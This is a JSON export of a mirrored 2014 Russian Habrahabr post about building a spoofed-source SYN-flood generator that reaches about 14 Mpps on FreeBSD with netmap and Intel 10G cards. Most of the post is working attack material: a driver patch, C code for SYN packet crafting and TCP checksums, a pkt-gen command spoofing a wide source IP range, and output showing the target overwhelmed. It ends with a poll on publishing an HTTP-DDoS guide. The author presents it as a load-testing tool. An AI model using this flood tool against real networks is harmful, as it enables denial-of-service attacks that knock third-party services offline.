{"id":229733,"date":"2014-07-14T14:59:03","date_gmt":"2014-07-14T10:59:03","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=229733"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=229733","title":{"rendered":"<span class=\"post_title\">SYN-\u0444\u043b\u0443\u0434\u0438\u043c \u0441\u043e \u0441\u043f\u0443\u0444\u0444\u0438\u043d\u0433\u043e\u043c \u043d\u0430 14 mpps \u0438\u043b\u0438 \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u0447\u043d\u0430\u044f \u0432\u0438\u043b\u043a\u0430 V 2.0<\/span>"},"content":{"rendered":"<div class=\"content html_format\">     \t\u0427\u0442\u043e-\u0442\u043e \u043c\u0435\u043d\u044f \u043f\u0440\u043e\u0431\u0438\u043b\u043e \u043d\u0430 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0437\u0430\u043c\u0435\u0442\u043e\u043a \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u0432\u0440\u0435\u043c\u044f, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u043e\u043a\u0430 \u044d\u043d\u0442\u0443\u0437\u0438\u0430\u0437\u043c \u043d\u0435 \u0441\u043f\u0430\u043b \u0440\u0430\u0437\u0434\u0430\u044e \u0434\u043e\u043b\u0433\u0438.<br \/>  \u0413\u043e\u0434 \u043d\u0430\u0437\u0430\u0434 \u044f \u043f\u0440\u0438\u0448\u0451\u043b \u043d\u0430 \u0445\u0430\u0431\u0440 \u0441\u043e \u0441\u0442\u0430\u0442\u044c\u0451\u0439 &quot;<a href=\"http:\/\/habrahabr.ru\/post\/183692\/\">TCP(syn-flood)-netmap-generator \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c\u044e 1,5 mpps<\/a>&quot;, \u043f\u043e\u0441\u043b\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043c\u043d\u043e\u0433\u0438\u0435 \u043f\u0438\u0441\u0430\u043b\u0438 \u0438 \u0434\u0430\u0436\u0435 \u0437\u0432\u043e\u043d\u0438\u043b\u0438 \u0441 \u043f\u0440\u043e\u0441\u044c\u0431\u043e\u0439 \u043e\u043f\u0438\u0441\u0430\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0442\u0430\u043a\u043e\u0439 \u0436\u0435 \u00ab\u0432\u0438\u043b\u043a\u0438\u00bb \u0441\u043e \u0441\u043f\u0443\u0444\u0444\u0438\u043d\u0433\u043e\u043c \u043d\u0430 \u043c\u0430\u043a\u0441\u0438\u043c\u0443\u043c\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439 10GB \u0441\u0435\u0442\u0438. \u042f \u0432\u0441\u0435\u043c \u043e\u0431\u0435\u0449\u0430\u043b, \u0430 \u0440\u0443\u043a\u0438 \u0432\u0441\u0451 \u043d\u0435 \u0434\u043e\u0445\u043e\u0434\u0438\u043b\u0438.<br \/>  \u041a\u0442\u043e-\u0442\u043e \u0441\u043a\u0430\u0436\u0435\u0442, \u0447\u0442\u043e \u044d\u0442\u043e \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e \u0434\u043b\u044f \u0445\u0430\u043a\u0435\u0440\u043e\u0432, \u043d\u043e \u0432\u0435\u0434\u044c \u0441\u0432\u0438\u043d\u044c\u044f \u0433\u0440\u044f\u0437\u0438 \u043d\u0430\u0439\u0434\u0451\u0442, \u0430 \u0442\u0435 \u043a\u043e\u043c\u0443 \u043d\u0443\u0436\u0435\u043d \u044d\u0442\u043e\u0442 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0432 \u0431\u043b\u0430\u0433\u043e\u043d\u0430\u0434\u0451\u0436\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445 \u043c\u043e\u0433\u0443 \u043e\u0441\u0442\u0430\u0442\u044c\u0441\u044f \u043d\u0438 \u0441 \u0447\u0435\u043c.<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/7dd\/16f\/3d1\/7dd16f3d1900f29140050aa60d4de37c.jpg\" alt=\"image\"\/><br \/>  <a name=\"habracut\"><\/a><br \/>  \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u043c.<\/p>\n<p>  \u041a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043e \u0442\u043e\u043c \u043d\u0430 \u0447\u0451\u043c \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u043c:  <\/p>\n<pre><code class=\"bash\"># uname -orp FreeBSD 10.0-STABLE amd64  # pciconf -lv | grep -i device | grep -i network     device     = '82599EB 10-Gigabit SFI\/SFP+ Network Connection' <\/code><\/pre>\n<p>  \u0418\u0442\u0430\u043a, \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u0434\u0432\u0430 \u043a\u043e\u043c\u043f\u0430 \u0431\u044b\u0442\u043e\u0432\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043f\u0430\u0440\u0430 \u0438\u043d\u0442\u0435\u043b\u043e\u0432\u0441\u043a\u0438\u0445 82599EB \u0438 10G SFP<\/p>\n<p>  \u041d\u0430\u0447\u043d\u0451\u043c \u0441 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u043f\u043b\u0430\u0442. \u041f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0438 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0447\u0435\u043d\u044c \u043d\u0435 \u043b\u044e\u0431\u044f\u0442 \u043a\u043e\u0433\u0434\u0430 \u043a\u0442\u043e-\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0438\u0445 \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u044b, \u043d\u043e \u0431\u0435\u0440\u0451\u0442 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0435 SFP. \u0418, \u043a\u0430\u043a \u043f\u0440\u0430\u0432\u0438\u043b\u043e, \u00ab\u0438\u0437 \u043a\u043e\u0440\u043e\u0431\u043a\u0438\u00bb \u0441\u0435\u0442\u0435\u0432\u0443\u0445\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u0431\u0440\u044d\u043d\u0434\u0430 \u043d\u0435 \u0437\u0430\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 SFP \u0434\u0440\u0443\u0433\u0438\u0445 \u0444\u0438\u0440\u043c. \u041f\u0443\u0442\u0435\u0439 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0434\u0432\u0430:<br \/>   \u2014 \u043f\u0435\u0440\u0435\u0448\u0438\u0442\u044c SFP-\u043c\u043e\u0434\u0443\u043b\u044c \u043f\u043e\u0434 \u043d\u0443\u0436\u043d\u044b\u0439 \u0431\u0440\u0435\u043d\u0434;<br \/>   \u2014 \u043f\u043e\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430.<br \/>  \u0414\u043b\u044f \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430 \u043d\u0443\u0436\u0435\u043d \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430\u0442\u043e\u0440. \u0421\u0432\u043e\u0435\u0433\u043e \u0443 \u043c\u0435\u043d\u044f \u043d\u0435\u0442, \u0430 \u0435\u0445\u0430\u0442\u044c 150\u043a\u043c \u043a \u0437\u043d\u0430\u043a\u043e\u043c\u043e\u043c\u0443 \u043f\u0435\u0440\u0435\u0448\u0438\u0432\u0430\u0442\u044c \u0436\u0435\u043b\u0430\u043d\u0438\u044f \u043d\u0435 \u0438\u0441\u043f\u044b\u0442\u044b\u0432\u0430\u044e. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u0430\u0448 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u2014 \u043f\u0440\u0430\u0432\u043a\u0430 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u043e\u0432. \u041d\u0430\u043c \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0432\u043d\u0435\u0441\u0442\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 ee \/usr\/src\/sys\/dev\/ixgbe\/ixgbe.c<br \/>  \u0412 \u0441\u0442\u0430\u0440\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0444\u0440\u044f\u0448\u043a\u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c  <\/p>\n<pre><code class=\"cpp\">if (!(enforce_sfp & IXGBE_DEVICE_CAPS_ALLOW_ANY_SFP) && <\/code><\/pre>\n<p>  \u043d\u0430  <\/p>\n<pre><code class=\"cpp\">enforce_sfp |= IXGBE_DEVICE_CAPS_ALLOW_ANY_SFP; if (!(enforce_sfp & IXGBE_DEVICE_CAPS_ALLOW_ANY_SFP) && <\/code><\/pre>\n<p>  \u041d\u043e \u043f\u043e\u0442\u043e\u043c Intel \u043f\u043e\u043d\u044f\u043b, \u0447\u0442\u043e \u0431\u043e\u0440\u043e\u0442\u044c\u0441\u044f \u0441 \u0432\u0435\u0442\u0440\u044f\u043d\u044b\u043c\u0438 \u043c\u0435\u043b\u044c\u043d\u0438\u0446\u0430\u043c\u0438 \u043d\u0435 \u0441\u0442\u043e\u0438\u0442 \u0438 \u0432\u0432\u0451\u043b \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 allow_unsupported_sfp  <\/p>\n<pre><code class=\"cpp\"># grep -rni &quot;allow_unsupported_sfp&quot; *.c ixgbe.c:322:static int allow_unsupported_sfp = FALSE; <\/code><\/pre>\n<p>  \u0418\u0437\u043c\u0435\u043d\u044f\u0435\u043c \u0435\u0433\u043e \u043d\u0430 TRUE. \u0414\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0441\u0440\u0430\u0437\u0443 \u0432 \u044f\u0434\u0440\u043e:  <\/p>\n<pre><code class=\"bash\"># grep netmap \/usr\/src\/sys\/amd64\/conf\/20140523 device          netmap <\/code><\/pre>\n<p>  \u0418 \u043f\u0435\u0440\u0435\u0441\u043e\u0431\u0438\u0440\u0430\u0435\u043c\u0441\u044f. \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442 \u043d\u0430\u0441:  <\/p>\n<blockquote><p>WARNING: Intel \u00ae Network Connections are quality tested using Intel \u00ae Ethernet Optics. Using untested modules is not supported and may cause unstable operation or damage to the module or the adapter. Intel Corporation is not responsible for any harm caused by using untested modules.  <\/p><\/blockquote>\n<p>  \u0426\u0435\u043b\u044c \u0434\u043e\u0441\u0442\u0438\u0433\u043d\u0443\u0442\u0430, SFP-\u0448\u043a\u0430 \u0437\u0430\u0432\u0435\u043b\u0430\u0441\u044c \u0438 \u0431\u0430\u0439\u0442\u0438\u043a\u0438 \u043f\u043e\u0431\u0435\u0436\u0430\u043b\u0438 \u043f\u043e \u043c\u043d\u043e\u0433\u043e\u043c\u043e\u0434\u0443.<br \/>  \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0438 netmap&#8217;\u0430  <\/p>\n<pre><code class=\"bash\">git clone https:\/\/code.google.com\/p\/netmap\/ <\/code><\/pre>\n<p>  \u0418 \u0431\u0435\u0440\u0451\u043c \u0437\u0430 \u043e\u0441\u043d\u043e\u0432\u0443 <i>netmap\/examples\/pkt-gen.c<\/i><br \/>  \u0421\u043e\u0437\u0434\u0430\u0451\u043c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u043d\u0430\u0448\u0435\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430:  <\/p>\n<pre><code class=\"cpp\">struct pkt { \tstruct virt_header vh; \tstruct ether_header eh; \tstruct ip ip; \tstruct tcphdr tcp; \tuint8_t body[2048];\t\/\/ XXX hardwired } __attribute__((__packed__)); <\/code><\/pre>\n<p>  \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u043c \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b  <\/p>\n<pre><code class=\"cpp\">\tip-&gt;ip_p = IPPROTO_TCP; <\/code><\/pre>\n<p>  \u0438 \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u043c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443  <\/p>\n<pre><code class=\"cpp\">\ttcp = &pkt-&gt;tcp;         tcp-&gt;th_sport = htons(targ-&gt;g-&gt;src_ip.port0);         tcp-&gt;th_dport = htons(targ-&gt;g-&gt;dst_ip.port0); \t\/\/tcp-&gt;th_ulen = htons(paylen); \t\/* Magic: taken from sbin\/dhclient\/packet.c *\/  \ttcp-&gt;th_seq = ntohl(rand()); \/\/ Contains the sequence number. \ttcp-&gt;th_ack = rand(); \/\/ Contains the acknowledgement number. \ttcp-&gt;th_x2 = 0; \/\/ Unused. \ttcp-&gt;th_off = 5; \/\/ Contains the data offset.   \ttcp-&gt;th_flags = TH_SYN; \/\/ Contains one of the following values: \t\/* \t Flag \tValue \tDescription \t TH_FIN \t0x01\tIndicates that the transmission is finishing. \t TH_SYN\t0x02\tIndicates that sequence numbers are being synchronized. \t TH_RST\t0x04\tIndicates that the connection is being reset. \t TH_PUSH\t0x08\tIndicataes that data is being pushed to the application level. \t TH_ACK\t0x10\tIndicates that the acknowledge field is valid. \t TH_URG\t0x20\tIndicates that urgent data is present. \t *\/ \ttcp-&gt;th_win = htons(512); \t\/\/ Contains the window size. \ttcp-&gt;th_sum = 0; \t\t\/\/ Contains the checksum. \ttcp-&gt;th_urp = 0; \t\t\/\/ Contains the urgent pointer.  <\/code><\/pre>\n<p>  \u041f\u043e \u0441\u0443\u0442\u0438 \u0438 \u0432\u0441\u0451, \u043d\u043e \u043d\u0430\u043c \u043d\u0443\u0436\u0435\u043d perfect-syn, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u0447\u0438\u0442\u0430\u0435\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u0443\u044e \u0441\u0443\u043c\u043c\u0443 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u043e\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430  <\/p>\n<pre><code class=\"cpp\">int tcp_csum(struct ip *ip, struct tcphdr * const tcp) {     u_int32_t sum = 0;     int tcp_len = 0;      \/* Calculate total length of the TCP segment *\/      tcp_len = (u_int16_t) ntohs(ip-&gt;ip_len) - (ip-&gt;ip_hl &lt;&lt; 2);      \/* Do pseudo-header first *\/      sum = sum_w((u_int16_t*)&ip-&gt;ip_src, 4);      sum += (u_int16_t) IPPROTO_TCP;     sum += (u_int16_t) tcp_len;      \/* Sum up tcp part *\/      sum += sum_w((u_int16_t*) tcp, tcp_len &gt;&gt; 1);     if (tcp_len & 1)         sum += (u_int16_t)(((u_char *) tcp)[tcp_len - 1] &lt;&lt; 8);      \/* Flip it & stick it *\/      sum = (sum &gt;&gt; 16) + (sum & 0xFFFF);     sum += (sum &gt;&gt; 16);      return htons(~sum); } <\/code><\/pre>\n<p>  \u0412\u043e\u0442 \u0442\u0435\u043f\u0435\u0440\u044c \u0432\u0441\u0451. <br \/>  \u041a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u043c. \u0412\u0437\u0440\u044b\u0432\u0430\u0435\u043c.<\/p>\n<pre><code class=\"bash\">pkt-gen -f tx -i netmap:ix0 -s 128.0.0.1-223.255.255.254 -d 10.90.90.55 -l 60 224.387037 main [1654] interface is netmap:ix0 224.387098 extract_ip_range [277] range is 128.0.0.1:0 to 223.255.255.254:0 224.387103 extract_ip_range [277] range is 10.90.90.55:0 to 10.90.90.55:0  ifname  [netmap:ix0] 224.446848 main [1837] mapped 334980KB at 0x8019ff000 Sending on netmap:ix0: 8 queues, 1 threads and 1 cpus. 128.0.0.1 -&gt; 10.90.90.55 (00:00:00:00:00:00 -&gt; ff:ff:ff:ff:ff:ff) 224.446868 main [1893] --- SPECIAL OPTIONS: copy  224.446870 main [1915] Sending 512 packets every  0.000000000 s 224.446872 main [1917] Wait 2 secs for phy reset 226.462882 main [1919] Ready...  ifname  [netmap:ix0] 226.462926 nm_open [461] overriding ifname ix0 ringid 0x0 flags 0x1 226.462993 sender_body [1026] start 227.526363 main_thread [1451] 11284469 pps (11999724 pkts in 1063384 usec) 228.589297 main_thread [1451] 11369243 pps (12084766 pkts in 1062935 usec) 229.652296 main_thread [1451] 12401300 pps (13119571 pkts in 1062999 usec) 230.672799 main_thread [1451] 13262006 pps (13492911 pkts in 1020503 usec) 231.736296 main_thread [1451] 13304686 pps (13022500 pkts in 1063497 usec) <\/code><\/pre>\n<p>  \u0421\u043c\u043e\u0442\u0440\u0438\u043c \u00ab\u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e\u00bb \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u043c\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432:  <\/p>\n<pre><code class=\"bash\"># tcpdump -vvv -n 11:39:54.349362 IP (tos 0x10, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 46)     129.115.75.162.0 &gt; 10.90.90.55.0: Flags [S], cksum 0xcd54 (correct), seq 1091106137:1091106143, win 512, length 6 11:39:54.349364 IP (tos 0x10, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 46)     129.115.153.57.0 &gt; 10.90.90.55.0: Flags [S], cksum 0x9755 (correct), seq 286688948:286688954, win 512, length 6 11:39:54.349365 IP (tos 0x10, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 46)     129.115.185.75.0 &gt; 10.90.90.55.0: Flags [S], cksum 0xf668 (correct), seq 213892719:213892725, win 512, length 6 11:39:54.349366 IP (tos 0x10, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 46)     129.115.75.81.0 &gt; 10.90.90.55.0: Flags [S], cksum 0x9e6c (correct), seq 337979969:337979975, win 512, length 6 11:39:54.349367 IP (tos 0x10, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 46)     129.115.151.163.0 &gt; 10.90.90.55.0: Flags [S], cksum 0x15a5 (correct), seq 224623736:224623742, win 512, length 6 11:39:54.349368 IP (tos 0x10, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 46)     129.115.183.209.0 &gt; 10.90.90.55.0: Flags [S], cksum 0xd87a (correct), seq 426044579:426044585, win 512, length 6 <\/code><\/pre>\n<p>  \u041f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u043c\u0430\u044f \u043c\u0430\u0448\u0438\u043d\u0430, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u0443\u0442\u0438\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0432 \u0445\u043b\u0430\u043c:  <\/p>\n<pre><code class=\"bash\">last pid: 57199;  load averages:  1.90,  0.74,  0.38                                                                        up 20+19:01:42  11:42:41 134 processes: 12 running, 95 sleeping, 27 waiting CPU 0:  0.0% user,  0.0% nice, 52.9% system, 45.1% interrupt,  2.0% idle CPU 1:  0.0% user,  0.0% nice, 43.9% system, 53.3% interrupt,  2.7% idle CPU 2:  0.0% user,  0.0% nice, 48.6% system, 51.0% interrupt,  0.4% idle CPU 3:  0.0% user,  0.0% nice, 47.5% system, 51.8% interrupt,  0.8% idle Mem: 2624K Active, 185M Inact, 299M Wired, 417M Buf, 3473M Free Swap: 3978M Total, 3978M Free    PID USERNAME   PRI NICE   SIZE    RES STATE   C   TIME     CPU COMMAND    12 root       -92    -     0K   480K CPU1    1   0:52  48.49% intr{irq257: ix0:que }    12 root       -92    -     0K   480K CPU0    0   0:57  48.29% intr{irq256: ix0:que }    12 root       -92    -     0K   480K RUN     2   0:51  47.75% intr{irq258: ix0:que }    12 root       -92    -     0K   480K WAIT    3   0:51  47.56% intr{irq259: ix0:que }     0 root       -92    0     0K   336K CPU0    0   0:57  46.29% kernel{ix0 que}     0 root       -92    0     0K   336K RUN     2   0:47  45.46% kernel{ix0 que}     0 root       -92    0     0K   336K CPU2    2   0:47  44.97% kernel{ix0 que}     0 root       -92    0     0K   336K CPU1    1   0:47  44.87% kernel{ix0 que}    11 root       155 ki31     0K    64K RUN     3 498.8H   6.69% idle{idle: cpu3} <\/code><\/pre>\n<p>  \u041d\u0443 \u0438, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u043e\u043d\u0430 \u043d\u0435 \u0441\u043c\u043e\u0433\u043b\u0430 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0432\u0441\u0451 \u0447\u0442\u043e \u0435\u0439 \u043f\u0440\u0438\u043b\u0435\u0442\u0430\u0435\u0442. \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u0440\u0438\u043d\u044f\u0442\u044c \u044d\u0442\u043e\u0442 \u0442\u0440\u0430\u0444\u0438\u043a \u043d\u0435\u0442\u043c\u0430\u043f\u043e\u0432\u0441\u043a\u0438\u043c\u0438 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430\u043c\u0438.  <\/p>\n<pre><code class=\"bash\">.\/pkt-gen -f rx -i ix0 577.317054 main [1624] interface is ix0 577.317135 extract_ip_range [275] range is 10.0.0.1:0 to 10.0.0.1:0 577.317141 extract_ip_range [275] range is 10.1.0.1:0 to 10.1.0.1:0 577.636329 main [1807] mapped 334980KB at 0x8019ff000 Receiving from netmap:ix0: 4 queues, 1 threads and 1 cpus. 577.636386 main [1887] Wait 2 secs for phy reset 579.645114 main [1889] Ready... 579.645186 nm_open [457] overriding ifname ix0 ringid 0x0 flags 0x1 580.647065 main_thread [1421] 13319133 pps (13339428 pkts in 1001793 usec) 581.649065 main_thread [1421] 13496900 pps (13519928 pkts in 1002003 usec) 582.651054 main_thread [1421] 13386463 pps (13409111 pkts in 1001989 usec) 583.652280 main_thread [1421] 13309552 pps (13323384 pkts in 1001223 usec) Received 55348748 packets, in 4.27 seconds. Speed: 13.37 Mpps <\/code><\/pre>\n<p>  \u0422\u0430\u043a \u043d\u0430\u043c\u043d\u043e\u0433\u043e \u043b\u0443\u0447\u0448\u0435.<br \/>  \u041f\u043e\u043f\u0443\u0442\u043d\u043e \u043d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u044e, \u0447\u0442\u043e \u043f\u0440\u0438 \u0441\u0442\u0430\u0440\u0442\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f netmap \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0430\u0434\u0430\u043f\u0442\u0435\u0440 \u043e\u0442 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0441\u0442\u0435\u043a\u0430, \u0442.\u0435. \u043f\u0440\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430\u0445 \u043d\u0430 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u0432\u0441\u0435\u0433\u0434\u0430 \u043d\u0443\u0436\u043d\u043e \u0438\u043c\u0435\u0442\u044c 2-\u0439 \u043a\u0430\u043d\u0430\u043b \u0441\u0432\u044f\u0437\u0438.<br \/>  \u041e netmap&#8217;e \u043d\u0430 \u044d\u0442\u043e\u043c \u0432\u0441\u0451. \u041d\u043e \u0435\u0441\u0442\u044c \u0435\u0449\u0451 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u043e\u043f\u0440\u043e\u0441 \u0441\u0445\u043e\u0434\u043d\u043e\u0439 \u0442\u0435\u043c\u0430\u0442\u0438\u043a\u0438. \u041c\u0435\u043d\u044f \u0447\u0430\u0441\u0442\u043e \u0441\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u044e\u0442 \u00ab\u043c\u043e\u0436\u043d\u043e \u043b\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043e\u0432\u0430\u0442\u044c HTTP-DDoS \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u0432 \u0432\u0441\u0435\u0433\u043e \u043e\u0434\u0438\u043d \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u00bb. \u041e\u0442\u0432\u0435\u0447\u0430\u044e \u00ab\u0414\u0430, \u043c\u043e\u0436\u043d\u043e \u0438 \u044d\u0442\u043e \u043d\u0435 \u0441\u043b\u043e\u0436\u043d\u043e.\u00bb \u041d\u043e \u043d\u0443\u0436\u043d\u043e-\u043b\u0438 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043a\u0430\u043a?    \t\t\t\t<\/p>\n<div class=\"polling\">\n<form action=\"\/json\/polling\/\" class=\"poll\" method=\"post\">\n<div class=\"poll_title\">\u0421\u0442\u043e\u0438\u0442 \u043b\u0438 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u0442\u044c \u0441\u0442\u0430\u0442\u044c\u044e \u043e \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 HTTP-DDoS&#8217;a, \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0431\u0443\u0434\u0435\u0442 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043d \u0432\u0441\u0435\u0433\u043e \u043e\u0434\u0438\u043d \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440<\/div>\n<p>  \t\t<input type=\"hidden\" name=\"post_id\" value=\"229733\"\/> \t\t<input type=\"hidden\" name=\"polling_question_id\" value=\"11619\"\/>  \t\t<\/p>\n<table class=\"answer\">\n<tr>\n<td class=\"input\"> \t\t\t\t\t<input type=\"radio\" id=\"vv58279\" \t\t\t\t\t\tclass=\"radio js-field-data\" \t\t\t\t\t\tname=\"variant[]\" \t\t\t\t\t\tvalue=\"58279\" \/> \t\t\t\t<\/td>\n<td class=\"label\"> \t\t\t\t\t<label for=\"vv58279\">\u0434\u0430<\/label> \t\t\t\t<\/td>\n<\/tr>\n<tr>\n<td class=\"input\"> \t\t\t\t\t<input type=\"radio\" id=\"vv58281\" \t\t\t\t\t\tclass=\"radio js-field-data\" \t\t\t\t\t\tname=\"variant[]\" \t\t\t\t\t\tvalue=\"58281\" \/> \t\t\t\t<\/td>\n<td class=\"label\"> \t\t\t\t\t<label for=\"vv58281\">\u043d\u0435\u0442<\/label> \t\t\t\t<\/td>\n<\/tr>\n<\/table>\n<p class=\"for_users_only_msg\">\u0422\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043c\u043e\u0433\u0443\u0442 \u0443\u0447\u0430\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0432 \u043e\u043f\u0440\u043e\u0441\u0435. <a href=\"https:\/\/habrahabr.ru\/auth\/login\/\">\u0412\u043e\u0439\u0434\u0438\u0442\u0435<\/a>, \u043f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430.<\/p>\n<p class=\"total\">\u041d\u0438\u043a\u0442\u043e \u0435\u0449\u0451 \u043d\u0435 \u0433\u043e\u043b\u043e\u0441\u043e\u0432\u0430\u043b. \u0412\u043e\u0437\u0434\u0435\u0440\u0436\u0430\u0432\u0448\u0438\u0445\u0441\u044f \u043d\u0435\u0442.<\/p>\n<\/p><\/form>\n<\/p><\/div>\n<div class=\"clear\"><\/div>\n<\/p><\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"http:\/\/habrahabr.ru\/post\/229733\/\"> http:\/\/habrahabr.ru\/post\/229733\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div class=\"content html_format\">     \t\u0427\u0442\u043e-\u0442\u043e \u043c\u0435\u043d\u044f \u043f\u0440\u043e\u0431\u0438\u043b\u043e \u043d\u0430 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0437\u0430\u043c\u0435\u0442\u043e\u043a \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u0432\u0440\u0435\u043c\u044f, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u043e\u043a\u0430 \u044d\u043d\u0442\u0443\u0437\u0438\u0430\u0437\u043c \u043d\u0435 \u0441\u043f\u0430\u043b \u0440\u0430\u0437\u0434\u0430\u044e \u0434\u043e\u043b\u0433\u0438.<br \/>  \u0413\u043e\u0434 \u043d\u0430\u0437\u0430\u0434 